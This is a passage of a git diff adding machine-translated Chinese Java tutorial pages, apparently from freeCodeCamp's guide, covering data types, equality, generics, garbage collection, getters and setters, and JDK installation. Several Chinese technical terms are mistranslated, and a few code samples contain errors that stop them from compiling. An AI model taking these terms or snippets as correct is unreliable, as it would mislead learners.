+        break; 
+    case 'colleague': 
+        soundNormal(); 
+        break; 
+    default: 
+        soundNormal(); 
+ } 
+```
+
+```
+Note: The `default` case runs when none of the `case` matches. Remember that when a case has no `break` statement, it `falls through` to the next case and will continue to the subsequent `cases` till a `break` is encountered. Because of this, make sure that each case has a `break` statement. The `default` case does not require a `break` statement. 
+```
+
+*   `nested statements`
+
+可以嵌套任何先前的控制流。这意味着您可以嵌套`if` ， `if..else`和`switch..case`语句。也就是说，您可以将这些语句的任意组合放在另一个语句中，并且`nesting`的深度没有限制。
+
+例如，让我们考虑以下场景：
+
+*   如果你的钱少于25美元，你可以给自己一杯咖啡。
+*   如果你有超过25美元但不到60美元，你会得到一个体面的饭菜。
+*   如果你有超过60美元但不到100美元，你会得到一顿不错的美食和一杯葡萄酒。
+*   然而，当你有超过100美元，取决于你与谁在一起，你要么去一个烛光晚餐（与你的妻子）或你去体育酒吧（与你的朋友）。
+
+表示这一点的方法之一是：
+
+```java
+int cash = 150; 
+ String company = "friends"; 
+ 
+ if( cash < 25 ){ 
+    getCoffee(); 
+ } else if( cash < 60 ){ 
+    getDecentMeal(); 
+ } else if( cash < 100 ){ 
+    getDecentMeal(); 
+    getGlassOfWine(); 
+ } else { 
+    switch(company){ 
+        case "wife": 
+            candleLitDinner(); 
+            break; 
+        case "friends": 
+            meetFriendsAtSportsBar(); 
+            break; 
+        default: 
+            getDecentMeal(); 
+    } 
+ } 
+```
+
+在此示例中，将执行`meetFriendsAtSportsBar()` 。
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZi/1)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/data-abstraction/index.md b/client/src/guide/chinese/java/data-abstraction/index.md
new file mode 100644
index 0000000000..823bd9715c
--- /dev/null
+++ b/client/src/guide/chinese/java/data-abstraction/index.md
@@ -0,0 +1,16 @@
+---
+title: Data Abstraction
+localeTitle: 数据抽象
+---
+## 定义
+
+根据字典，抽象是处理想法而不是事件的质量。
+
+同样在面向对象的编程中，抽象是从用户隐藏实现细节的过程，只有功能将被提供给用户。换句话说，用户将获得关于对象做什么而不是如何做的信息。
+
+在Java中，使用抽象类和接口实现抽象。
+
+## 资源
+
+[教程点 - Java抽象类和接口](https://www.tutorialspoint.com/java/java_abstraction.htm)  
+[Java教程 - Java抽象方法和类](https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/data-types/index.md b/client/src/guide/chinese/java/data-types/index.md
new file mode 100644
index 0000000000..4de0079838
--- /dev/null
+++ b/client/src/guide/chinese/java/data-types/index.md
@@ -0,0 +1,206 @@
+---
+title: Data Types
+localeTitle: 数据类型
+---
+# 数据类型
+
+Java是一种强类型语言。这意味着，在Java中，每种数据类型都有自己的严格定义。当数据类型之间发生任何冲突时，没有隐式数据类型转换。程序员应明确声明数据类型的任何更改。
+
+Java定义了8种原始数据类型： `byte` ， `short` ， `int` ， `long` ， `char` ， `float` ， `double`和`boolean` 。
+
+它们分为以下几类：
+
+*   整型
+*   浮点数字
+*   人物
+*   布尔类型
+
+下面给出了每种数据类型的详细信息：
+
+## 整数：
+
+它们有四种类型： `byte` ， `short` ， `int` ， `long` 。重要的是要注意这些是正负值。有符号整数使用[2的补码](http://www.ele.uri.edu/courses/ele447/proj_pages/divid/twos.html)存储在计算机中。它包含负值和正值，但采用不同的格式，如`(-1 to -128)`或`(0 to +127)` 。无符号整数可以保存较大的正值，而不包含负值`(0 to 255)` 。与C ++不同，Java中没有无符号整数。
+
+### 字节：
+
+字节数据类型是8位带符号的二进制补码整数。
+```
+Wrapper Class: Byte 
+ 
+ Minimum value: -128 (-2^7) 
+ 
+ Maximum value: 127 (2^7 -1) 
+ 
+ Default value: 0 
+ 
+ Example: byte a = 10 , byte b = -50; 
+```
+
+### 短：
+
+短数据类型是16位带符号的二进制补码整数。
+```
+Wrapper Class: Short 
+ 
+ Minimum value: -32,768 (-2^15) 
+ 
+ Maximum value: 32,767 (2^15 -1) 
+ 
+ Default value: 0. 
+ 
+ Example: short s = 10, short r = -1000; 
+```
+
+### INT：
+
+int数据类型是32位带符号的二进制补码整数。除非存在对内存的担忧，否则它通常用作整数值的默认数据类型。
+```
+Wrapper Class: Integer 
+ 
+ Minimum value: (-2^31) 
+ 
+ Maximum value: (2^31 -1) 
+ 
+ The default value: 0. 
+ 
+ Example: int a = 50000, int b = -20 
+```
+
+### 长：
+
+长数据类型是64位带符号的二进制补码整数。
+```
+Wrapper Class: Long 
+ 
+ Minimum value: (-2^63) 
+ 
+ Maximum value: (2^63 -1) 
+ 
+ Default value: 0L. 
+ 
+ Example: long a = 100000L, long b = -600000L; 
+ 
+ By default all integer type variable is "int". So long num=600851475143  will give an error. 
+ But it can be specified as long by appending the suffix L (or l) 
+```
+
+## 浮点：
+
+这些也称为实数，用于涉及分数精度的表达式。它们有两种类型： `float` ， `double` 。在货币或研究数据等精确数据的情况下，实际上可以避免浮动。
+
+### 浮动：
+
+float数据类型是单精度32位[IEEE 754浮点数](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) 。
+```
+Wrapper Class: Float 
+ 
+ Float is mainly used to save memory in large arrays of floating point numbers. 
+ 
+ Default value: 0.0f. 
+ 
+ Example: float f1 = 24.5f; 
+ 
+ The default data type of floating-point number is double. So float f = 24.5 will introduce an error. 
+ However, we can append the suffix F (or f) to designate the data type as float. 
+```
+
+### 双：
+
+双数据类型是双精度64位[IEEE 754浮点](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) 。此数据类型通常是默认选择。绝不应将此数据类型用于精确值，例如货币。
+```
+Wrapper Class: Double 
+ 
+ This data type is generally used as the default data type for decimal values. 
+ 
+ Default value: 0.0d. 
+ 
+ Example: double d1 = 123.400778; 
+```
+
+## 字符：
+
+我们使用此数据类型来存储字符。这与C / C ++中的char不同。 Java使用`UNICODE` ，国际公认的字符集。 Java中的Char为16位长，而C / C ++中的Char为8位。
+```
+Wrapper Class: Character 
+ 
+ Minimum value: '\u0000' (or 0). 
+ 
+ Maximum value: '\uffff' (or 65,535). 
+ 
+ Default value: null ('\u0000'). 
+ 
+ Example: char letterA ='a'; 
+```
+
+## 布尔：
+
+这用于存储逻辑值。布尔类型的值可以为true或false。此类型通常由关系运算符返回。
+```
+There are only two possible values: true and false. 
+ 
+ Wrapper Class: Boolean 
+ 
+ This data type is used for simple flags that track true/false conditions. 
+ 
+ Default value is false. 
+ 
+ Example: boolean b = true, boolean b1 = 1(this is not possible in java and give incompatible type error), boolean b2; 
+```
+
+## 参考数据类型：
+
+除了原始数据类型之外，还有使用不同类的构造函数创建的引用变量。引用变量用于任何类以及数组，字符串，扫描程序，随机，模具等。引用变量使用new关键字初始化。
+
+示例：
+
+```java
+public class Box{ 
+ 
+    int length, breadth, height; 
+ 
+    public Box(){ 
+        length=5; 
+        breadth=3; 
+        height=2; 
+    } 
+ } 
+ 
+ class demo{ 
+ 
+    public static void main(String args[]) { 
+        Box box1 = new Box();                //box1 is the reference variable 
+        char[] arr = new char[10];           //arr is the reference variable 
+    } 
+ } 
+```
+
+## 串：
+
+String不是原始数据类型，但它允许您在数组中存储多个字符数据类型，并且可以使用许多方法。当用户键入数据并且您必须对其进行操作时，它会非常常用。
+
+在下面的示例中，我们尝试从字符串中删除所有字母并输出它：
+
+```java
+String input = "My birthday is 10 January 1984 and my favorite number is 42"; 
+ String output = ""; 
+ 
+ for(int i=0;i<input.length();i++){ 
+ 
+ //if the character at index i on the string is a letter or a space, move on to the next index 
+ if(Character.isLetter(input.charAt(i)) || input.charAt(i)==' '){ 
+ 
+    continue; 
+ } 
+ 
+ output = output + input.charAt(i); //the number is added onto the output 
+ 
+ } 
+ 
+ System.out.println(output); 
+```
+
+输出：
+```
+10198442 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/defining-attributes/index.md b/client/src/guide/chinese/java/defining-attributes/index.md
new file mode 100644
index 0000000000..f7a584cc5e
--- /dev/null
+++ b/client/src/guide/chinese/java/defining-attributes/index.md
@@ -0,0 +1,50 @@
+---
+title: Defining Attributes
+localeTitle: 定义属性
+---
+## 定义属性
+
+类具有属性和方法。属性基本上是类中的变量。
+
+**_例：_**
+
+```java
+public class Vehicle { 
+  int maxSpeed; 
+  int wheels; 
+  String color; 
+ 
+  void horn() { 
+    System.out.println("Beep beep!"); 
+  } 
+ } 
+```
+
+`maxSpeed` ， `wheels`和`color`都是Vehicle类的属性，而`horn()`是唯一的方法。
+
+### 创建对象
+
+我们可以创建Vehicle类的多个对象，并使用点语法来访问它们的属性和方法。
+
+```java
+class MyClass { 
+  public static void main(String[] args) { 
+    Vehicle v1 = new Vehicle(); 
+    Vehicle v2 = new Vehicle(); 
+    v1.color = "red"; 
+    v2.horn(); 
+  } 
+ } 
+```
+
+### 可见性修饰符
+
+在上面的Vehicle示例中，声明属性时没有可见性修饰符（例如public，private或protected）。如果属性延迟中不包含修饰符，则默认为“package private”，这意味着可以使用“。”直接访问该属性。由同一包中的任何其他类的点表示法。
+
+'public'变量可以从任何类访问 “protected”变量可以由同一个包中的任何类访问，也可以由具有父子关系的任何其他包中的子类访问 'private'变量只能在声明它们的类中访问 'package private'成员可以通过同一个包中的类访问
+
+'public'，变量，方法，构造函数和类（只有一个）可以声明为public。 'protected'，变量，方法和构造函数可以声明为private，但不能声明为类和接口。 'private'，变量，方法和构造函数可以声明为private，但不能声明为类和接口。 'default'，变量，方法，构造函数和类可以是默认类型（通过不写任何东西来声明）。
+
+#### public> protected> default> private（基于易于访问性）
+
+将类的所有属性设为私有通常是一个好主意，并通过使用“getter”和“setter”方法来控制对它们的访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/equality/index.md b/client/src/guide/chinese/java/equality/index.md
new file mode 100644
index 0000000000..9b374a6983
--- /dev/null
+++ b/client/src/guide/chinese/java/equality/index.md
@@ -0,0 +1,64 @@
+---
+title: Checking for Equality
+localeTitle: 检查平等
+---
+# 检查平等
+
+在Java中，有两种方法可以检查两个变量是否“相同”： `==`和`.equals()` 。但是，这两种方法的工作方式不同。
+
+## `==`运算符
+
+Java中的基本相等操作， `==`与`var1 == var2` ，检查`var1`和`var2`是否指向同一个_对象引用_ 。 也就是说，如果`var1`与内存中的类的_实例_与`var2` ，则`var1 == var2`为true。
+
+但是，如果将`var1`和`var2`创建为类的两个单独实例（即使用`new`关键字），则`var1 == var2`将为false。即使两个对象碰巧包含完全相同的属性和值， `==`比较也不会通过，因为它们不指向内存中的同一对象。
+
+对于原始变量类型，例如`int`和`double` ， `==`运算符总是可以用于检查相等性，因为它们的值直接与变量一起存储（而不是作为对内存中另一个槽的引用）。
+
+```java
+int var1 = 1; 
+ int var2 = 1; 
+ System.out.println(var1 == var2) // true 
+ 
+ MyObject obj1 = new MyObject(); 
+ MyObject obj2 = obj1; 
+ MyObject obj3 = new MyObject(); 
+ 
+ System.out.println(obj1 == obj2) // true 
+ System.out.println(obj1 == obj3) // false 
+ System.out.println(obj2 == obj3) // false 
+```
+
+## `.equals()`方法
+
+Java中的内置`Object`类（所有其他类自动扩展）包含许多有用的内置方法。一种这样的方法是`equals()` ，它将另一个对象作为其参数，并根据该类的相关逻辑返回两个对象是否应被视为“相等”。
+
+'String'类是覆盖'equals（）'方法的类的最常见示例之一。当比较两个'String'是否相等时，你需要使用'equals（）'方法，因为'=='将无法正常工作。
+
+```java
+String s1 = "Bob"; 
+ String s2 = "ob"; 
+ s2 = "B" + s2; //s2 now is also "Bob" 
+ System.out.println(s1 == s2); //false 
+ System.out.println(s1.equals(s2)); //true 
+```
+
+在Java中创建新类时，通常需要覆盖`equals()`方法，以便提供更有意义的方法来比较同一个类的两个对象。如何实现此方法完全取决于开发人员的判断。
+
+例如，如果两个`Person`的`name`和`dateOfBirth`相同，则可以认为这两个`Person`应被视为“相等”。这个逻辑将在你的`Person`类的`equals()`方法中实现：
+
+```java
+public class Person { 
+    public String name; 
+    public Date dateOfBirth; 
+ 
+    public boolean equals(Person person) { 
+        return this.name.equals(person.name) && this.dateOfBirth.equals(person.dateOfBirth); 
+    } 
+ } 
+```
+
+Java中的大多数内置类以及流行库提供的类将以有意义的方式实现`equals()`方法。
+
+例如， `java.util.Set`接口指定`Set`的`equals()`方法将返回true，如果“指定的对象也是一个集合，两个集合具有相同的大小，并且包含指定集合的​​每个成员在这套“。
+
+但是，如果一个类没有覆盖默认的`equals()`实现，那么将应用默认实现，它只使用`==`运算符来比较这两个对象。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/final-keyword/index.md b/client/src/guide/chinese/java/final-keyword/index.md
new file mode 100644
index 0000000000..c4a31dbb88
--- /dev/null
+++ b/client/src/guide/chinese/java/final-keyword/index.md
@@ -0,0 +1,60 @@
+---
+title: Final
+localeTitle: 最后
+---
+## 最后
+
+您使用`final`关键字来标记变量常量，以便只能分配一次。因此，您必须使用值初始化最终变量。如果未初始化（在声明时，在Constructor内部或内部静态块中），将发生编译时错误。
+
+**_例：_**
+
+```java
+class MyClass { 
+  public static final double PI = 3.14; 
+  public static void main(String[] args){ 
+    System.out.println(PI); 
+  } 
+ } 
+```
+
+PI现在是一个常数。任何为其赋值的尝试都会导致错误。
+
+* * *
+
+如果您将任何方法设为最终方法，则无法覆盖它。
+
+```java
+class Bike{ 
+  final void run(){System.out.println("running");} 
+ } 
+ 
+ class Honda extends Bike{ 
+   void run(){System.out.println("running safely with 100kmph");} 
+ 
+   public static void main(String args[]){ 
+   Honda honda= new Honda(); 
+   honda.run(); 
+   } 
+ } 
+```
+
+输出将是 - 输出：编译时错误
+
+* * *
+
+如果您将任何课程作为最终成绩，则无法对其进行扩展。
+
+```java
+final class Bike{} 
+ 
+ class Honda1 extends Bike{ 
+  void run(){System.out.println("running safely with 100kmph");} 
+ 
+  public static void main(String args[]){ 
+  Honda1 honda= new Honda(); 
+  honda.run(); 
+  } 
+ } 
+```
+
+输出将是 - 输出：编译时错误
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/finally-keyword/index.md b/client/src/guide/chinese/java/finally-keyword/index.md
new file mode 100644
index 0000000000..817c11446d
--- /dev/null
+++ b/client/src/guide/chinese/java/finally-keyword/index.md
@@ -0,0 +1,22 @@
+---
+title: Finally
+localeTitle: 最后
+---
+## 最后
+
+当try块退出时，finally块总是执行。这确保即使发生意外异常也会执行finally块。但最终不仅仅是异常处理有用 - 它允许程序员避免因返回，继续或中断而意外绕过清理代码。将清理代码放在finally块中总是一种很好的做法，即使没有预期的例外情况也是如此。
+
+**_例：_**
+
+```java
+try { 
+   // Normal execution path 
+   throw new EmptyStackException(); 
+ } catch (ExampleException ee) { 
+   //  deal with the ExampleException 
+ } finally { 
+   // This optional section is executed upon termination of any of the try or catch blocks above, 
+   //  except when System.exit() is called in "try" or "catch" blocks; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/garbage-collection/index.md b/client/src/guide/chinese/java/garbage-collection/index.md
new file mode 100644
index 0000000000..185dad4a6d
--- /dev/null
+++ b/client/src/guide/chinese/java/garbage-collection/index.md
@@ -0,0 +1,108 @@
+---
+title: Garbage Collection
+localeTitle: 垃圾收集
+---
+# Java中的垃圾收集
+
+在像C / C ++这样的语言中，程序员有责任创建和销毁对象。但是如果程序员没有履行职责，则可能无法为创建新对象提供足够的内存，程序可能会终止导致**OutOfMemoryErrors** 。
+
+Java使程序员免于内存管理任务，并且自己回收不再使用的对象所占用的内存。 java中的垃圾收集由名为**Garbage Collector**的守护程序线程执行。当新对象缺少内存（堆）时， **JVM（Java虚拟机）会**调用它。
+
+## 当一个对象有资格进行垃圾收集？
+
+*   如果无法从任何活动线程或任何静态引用访问对象，则该对象符合垃圾收集条件。
+*   如果对象的所有引用都为null，则该对象符合Garbage Collection的条件。
+
+```java
+         Integer n = new Integer(); 
+         n = null;                                //the Integer object is no longer accessible 
+```
+
+*   循环依赖不计为引用，因此如果对象X具有对象Y的引用而对象Y具有对象X的引用并且它们没有任何其他实时引用，则对象X和Y都将有资格进行垃圾收集。
+
+## 如何手动使对象符合垃圾收集条件？
+
+*   尽管程序员不是要销毁对象的任务，但在使用它之后使对象无法访问（因此符合GC条件）是一种很好的编程习惯。
+*   通常有四种不同的方法可以使对象符合垃圾回收的条件。
+
+1.  取消引用变量
+2.  重新分配参考变量
+3.  对象在块内创建，一旦控制退出该块，引用就会超出范围。
+4.  [隔离岛](http://www.geeksforgeeks.org/island-of-isolation-in-java/)
+
+## 请求JVM运行垃圾收集器1的方​​法
+
+*   尽管使对象符合垃圾收集条件，但它依赖于JVM自行决定运行垃圾收集器来销毁垃圾收集器。
+*   我们也可以请求JVM运行垃圾收集器。有两种方法可以做到：
+
+1.  使用_**System.gc（）**_方法：System类包含静态方法gc（），用于请求JVM运行Garbage Collector。
+2.  使用_**Runtime.getRuntime（）。gc（）**_方法：运行时类允许应用程序与运行应用程序的JVM进行交互。因此，通过使用其gc（）方法，我们可以请求JVM运行垃圾收集器。
+
+```java
+         // Java program to request 
+    // JVM to run Garbage Collector 
+ public class Test 
+ { 
+    public static void main(String[] args) throws InterruptedException 
+    { 
+        Test test1 = new Test(); 
+        Test test2 = new Test(); 
+ 
+        // Nullifying the reference variable 
+        test1 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        System.gc(); 
+ 
+        // Nullifying the reference variable 
+        test2 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        Runtime.getRuntime().gc(); 
+ 
+    } 
+ 
+    @Override 
+    // finalize method is a method which is called on object once 
+    // before garbage collector is destroying it and reclaiming its memory 
+    protected void finalize() throws Throwable 
+    { 
+        System.out.println("Garbage collector is called"); 
+        System.out.println("Object garbage collected : " + this); 
+    } 
+ } 
+```
+
+```java
+  OUTPUT - 
+    Garbage collector called 
+    Object garbage collected : Test@46d08f12 
+    Garbage collector called 
+    Object garbage collected : Test@481779b8 
+```
+
+注意 ：
+
+1.  无法保证上述两种方法中的任何一种都能运行垃圾收集器。
+2.  调用System.gc（）实际上等同于调用：Runtime.getRuntime（）。gc（）
+
+## 对象终结
+
+*   对象具有与其关联的资源。他们有责任释放资源。
+*   finalize（）在Object类中声明，并且在销毁对象之前由垃圾收集器调用一次。在垃圾收集器回收其区域之前，对象可以使用此方法jst进行任何最后操作。
+*   finalize（）方法存在于Object类中，具有以下原型。
+
+```java
+    protected void finalize() throws Throwable 
+```
+
+## 注1 ：
+
+1.  垃圾收集器调用的finalize（）方法而不是JVM。虽然垃圾收集器是JVM的模块之一。
+2.  对象类finalize（）方法具有空实现，因此建议覆盖finalize（）方法以处置系统资源或执行其他清理。
+3.  对于任何给定对象，finalize（）方法永远不会被多次调用。
+4.  如果finalize（）方法抛出未捕获的异常，则忽略该异常并终止该对象的终止。
+
+### 来源
+
+1.  [geeksforgeeks。](http://www.geeksforgeeks.org/garbage-collection-java/)访问时间：2017年10月24日。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/generics/index.md b/client/src/guide/chinese/java/generics/index.md
new file mode 100644
index 0000000000..835d967344
--- /dev/null
+++ b/client/src/guide/chinese/java/generics/index.md
@@ -0,0 +1,79 @@
+---
+title: Generics
+localeTitle: 泛型
+---
+# 泛型
+
+Java Generics是一种方便地使用特定数据类型的集合和类而不必将数据转换回原始数据类型的方法。这可以防止以编译时和运行时错误的形式出现很多问题。
+
+简单地说，Generics允许你明确地说，例如，一个ArrayList对象保存Integers，这样当你调用get方法时，你不需要在Object和Integer之间进行转换。下面是一个如何在Generics之前使用ArrayList的示例。
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return (String) classNames.get(index); 
+  } 
+ } 
+```
+
+上面的主要问题是，如果以某种方式将类型为String的Object添加到ArrayList中，则`getNameAtIndex(int index)`方法将导致运行时错误。为了解决这个问题，我们使用泛型。
+
+泛型的语法非常简单。下面是实例化ArrayList的示例。
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList<String> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<String>(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+```
+
+创建自己的Generic类的语法如下。
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example <T> { 
+  private ArrayList<T> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<T>(); 
+  } 
+ 
+  public void addName(T name) { 
+    classNames.add(name); 
+  } 
+ 
+  public T getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+```
+
+请注意，在命名类时，在尖括号内，您可以确保Generic类型是那样的 你要。例如，如果您想确保类型可以作为String的形式读取，那么您将去`<T extends String>` 。
+
+请注意，字母`T`是占位符，只要您使用相同的字母，就可以制作任何您喜欢的内容 整个班级。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/getters-and-setters/index.md b/client/src/guide/chinese/java/getters-and-setters/index.md
new file mode 100644
index 0000000000..cd116b5a78
--- /dev/null
+++ b/client/src/guide/chinese/java/getters-and-setters/index.md
@@ -0,0 +1,73 @@
+---
+title: Getters & Setters
+localeTitle: 吸气者和二传手
+---
+# 吸气者和二传手
+
+Getters和Setter用于有效保护您的数据，尤其是在创建类时。对于每个实例变量，getter方法返回其值，而setter方法设置或更新其值。吸气剂和固定剂也分别称为存取器和变换器。
+
+按照惯例，getter以get开头，后跟变量名，变量名的第一个字母大写。 Setter以set开头，后跟变量名，变量名的第一个字母大写。
+
+**_例：_**
+
+```java
+public class Vehicle { 
+  private String color; 
+ 
+  // Getter 
+  public String getColor() { 
+  return color; 
+  } 
+ 
+  // Setter 
+  public void setColor(String c) { 
+  this.color = c; 
+  } 
+ } 
+```
+
+getter方法返回属性的值。 setter方法接受一个参数并将其分配给属性。
+
+一旦定义了getter和setter，我们就在main中使用它：
+
+```java
+public stativ void main(String[] args) { 
+  Vehicle v1 = new Vehicle(); 
+  v1.setColor("Red"); 
+  System.out.println(v1.getColor()); 
+ } 
+ 
+ // Outputs "Red" 
+```
+
+* * *
+
+Getters和setter允许控制值。在实际设置值之前，您可以在setter中验证给定值。
+
+## 为什么吸气和安装？
+
+通过使用getter和setter，程序员可以控制如何访问和更新其重要变量，例如更改指定范围内变量的值。考虑以下setter方法的代码：
+
+```java
+public void setNumber(int num) { 
+    if (num < 10 || num > 100) { 
+        throw new IllegalArgumentException(); 
+    } 
+    this.number = num; 
+ } 
+```
+
+这可确保number的值始终设置在10到100之间。如果程序员允许直接更新变量号，则调用者可以为其设置任意值：
+
+```java
+obj.number = 3; 
+```
+
+这违反了该变量的值范围从10到100的约束。由于我们不希望发生这种情况，因此将变量号隐藏为私有并使用setter会阻止它。 另一方面，getter方法是外界读取变量值的唯一方法：
+
+```java
+public int getNumber() { 
+    return this.number; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/index.md b/client/src/guide/chinese/java/index.md
new file mode 100644
index 0000000000..34f38683e8
--- /dev/null
+++ b/client/src/guide/chinese/java/index.md
@@ -0,0 +1,119 @@
+---
+title: Java
+localeTitle: Java的
+---
+**什么是Java？**
+
+[Java](https://www.oracle.com/java/index.html)是[Sun Microsystems](https://en.wikipedia.org/wiki/Sun_Microsystems)在1995年开发的一种编程语言，后来被[Oracle](http://www.oracle.com/index.html)收购。它现在是一个完整的平台，包含许多标准API，开源API，工具，庞大的开发人员社区，用于构建大小公司最值得信赖的企业解决方案。 [Android](https://www.android.com/)应用程序开发完全由Java及其生态系统完成。要了解有关Java的更多信息，请阅读[本文](https://java.com/en/download/faq/whatis_java.xml)和[此内容](http://tutorials.jenkov.com/java/what-is-java.html) 。
+
+## 版
+
+最新版本是[Java 11](http://www.oracle.com/technetwork/java/javase/overview) ，它于2018年发布，对以前的版本Java 10进行了[各种改进](https://www.oracle.com/technetwork/java/javase/11-relnote-issues-5012449.html) 。但是出于所有意图和目的，我们将在本维基中使用Java 8来完成所有教程。
+
+Java也分为几个“版本”：
+
+*   [SE](http://www.oracle.com/technetwork/java/javase/overview/index.html) - 标准版 - 适用于桌面和独立服务器应用程序
+*   [EE](http://www.oracle.com/technetwork/java/javaee/overview/index.html) - Enterprise Edition - 用于开发和执行嵌入Java服务器的Java组件
+*   [ME](http://www.oracle.com/technetwork/java/embedded/javame/overview/index.html) - Micro Edition - 用于在移动电话和嵌入式设备上开发和执行Java应用程序
+
+## 安装：JDK还是JRE？
+
+从[官方网站](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)下载最新的Java二进制文件。在这里您可能会遇到一个问题，下载哪个，JDK或JRE？ JRE代表Java Runtime Environment，它是依赖于平台的Java虚拟机来运行Java代码，JDK代表Java Development Kit，它由大多数开发工具组成，最重要的是编译器`javac` ，以及JRE。因此，对于普通用户而言，JRE就足够了，但由于我们将使用Java进行开发，因此我们将下载JDK。
+
+## 平台特定安装说明
+
+### 视窗
+
+*   下载相关的[.msi](https://en.wikipedia.org/wiki/Windows_Installer)文件（x86 / i586用于32位，x64用于64位）
+*   运行.msi文件。它是一个自解压的可执行文件，它将在您的系统中安装Java！
+
+### Linux的
+
+*   下载适用于您系统的相关[tar.gz](http://www.cyberciti.biz/faq/linux-unix-bsd-extract-targz-file/)文件并安装：
+
+`bash $ tar zxvf jdk-8uversion-linux-x64.tar.gz`
+
+*   [基于RPM的Linux平台](https://en.wikipedia.org/wiki/List_of_Linux_distributions#RPM-based)下载相关的[.rpm](https://en.wikipedia.org/wiki/RPM_Package_Manager)文件并安装：
+
+`bash $ rpm -ivh jdk-8uversion-linux-x64.rpm`
+
+*   用户可以选择安装Java，OpenJDK或Oracle JDK的开源版本。虽然OpenJDK正在积极开发并与Oracle JDK同步，但它们在[许可方面](http://openjdk.java.net/faq/)有所不同。然而，很少有开发人员抱怨Open JDK的稳定性。 **Ubuntu**说明：
+
+打开JDK安装：  
+`bash sudo apt-get install openjdk-8-jdk`
+
+Oracle JDK安装：  
+`bash sudo add-apt-repository ppa:webupd8team/java sudo apt-get update sudo apt-get install oracle-java8-installer`
+
+### 苹果电脑
+
+*   从Oracle下载中下载Mac OSX .dmg可执行文件
+*   或者使用[Homebrew](http://brew.sh/) [安装](http://stackoverflow.com/a/28635465/2861269) ：
+
+`bash brew tap caskroom/cask brew install brew-cask brew cask install java`
+
+### 验证安装
+
+通过打开命令提示符（Windows）/ Windows Powershell / Terminal（Mac OS和\* Unix）并检查Java运行时和编译器的版本来验证Java是否已在系统中正确安装：
+```
+$ java -version 
+ java version "1.8.0_66" 
+ Java(TM) SE Runtime Environment (build 1.8.0_66-b17) 
+ Java HotSpot(TM) 64-Bit Server VM (build 25.66-b17, mixed mode) 
+ 
+ $ javac -version 
+ javac 1.8.0_66 
+```
+
+**提示** ：如果您在`java`或`javac`或两者上都收到诸如“未找到命令”之类的错误，请不要惊慌，它只是您的系统PATH未正确设置。对于Windows，请参阅[此StackOverflow答案](http://stackoverflow.com/questions/15796855/java-is-not-recognized-as-an-internal-or-external-command)或[本文](http://javaandme.com/)有关如何执行此操作。还有[Ubuntu](http://stackoverflow.com/questions/9612941/how-to-set-java-environment-path-in-ubuntu)和[Mac的](http://www.mkyong.com/java/how-to-set-java_home-environment-variable-on-mac-os-x/)指南。如果你仍然想不通，不要担心，只要在我们的[Gitter房间](https://gitter.im/FreeCodeCamp/java)问我们！
+
+## JVM
+
+好了，既然我们完成了安装，那么我们首先要开始了解Java生态系统的细节。 Java是一种[解释和编译的](http://stackoverflow.com/questions/1326071/is-java-a-compiled-or-an-interpreted-programming-language)语言，即我们编写的代码被编译为字节码并被解释为运行。我们在.java文件中编写代码，Java将它们编译为[字节码](https://en.wikipedia.org/wiki/Java_bytecode) ，这些[字节码](https://en.wikipedia.org/wiki/Java_bytecode)在Java虚拟机或JVM上运行以便执行。这些字节码通常具有.class扩展名。
+
+Java是一种非常安全的语言，因为它不会让您的程序直接在计算机上运行。相反，您的程序在名为JVM的虚拟机上运行。此虚拟机公开了几个API，用于您可以进行的低级机器交互，但除此之外，您无法明确地使用机器指令。这增加了巨大的安全性。
+
+此外，一旦编译了字节码，它就可以在任何Java VM上运行。该虚拟机依赖于机器，即它具有不同的Windows，Linux和Mac实现。但是由于这个VM，你的程序可以保证在任何系统中运行。这种理念被称为[“一次编写，随处运行”](https://en.wikipedia.org/wiki/Write_once,_run_anywhere) 。
+
+## 你好，世界！
+
+我们来编写一个示例Hello World应用程序。打开所选的任何编辑器/ IDE并创建一个文件`HelloWorld.java` 。
+```
+public class HelloWorld { 
+ 
+    public static void main(String[] args) { 
+        // Prints "Hello, World" to the terminal window. 
+        System.out.println("Hello, World"); 
+    } 
+ 
+ } 
+```
+
+**NB**请记住，Java文件名应该**与公共类的名称完全相同**才能编译！
+
+现在打开终端/命令提示符。将终端/命令提示符中的当前目录更改为文件所在的目录。并编译文件：
+```
+$ javac HelloWorld.java 
+```
+
+现在使用`java`命令运行该文件！
+```
+$ java HelloWorld 
+ Hello, World 
+```
+
+恭喜！您的第一个Java程序已成功运行。这里我们只是打印一个字符串，将其传递给API `System.out.println` 。我们将介绍代码中的所有概念，但欢迎您[仔细查看](https://docs.oracle.com/javase/tutorial/getStarted/application/) ！如果您有任何疑问或需要其他帮助，请随时在我们的[Gitter Chatroom](https://gitter.im/FreeCodeCamp/java)联系我们！
+
+## 文档
+
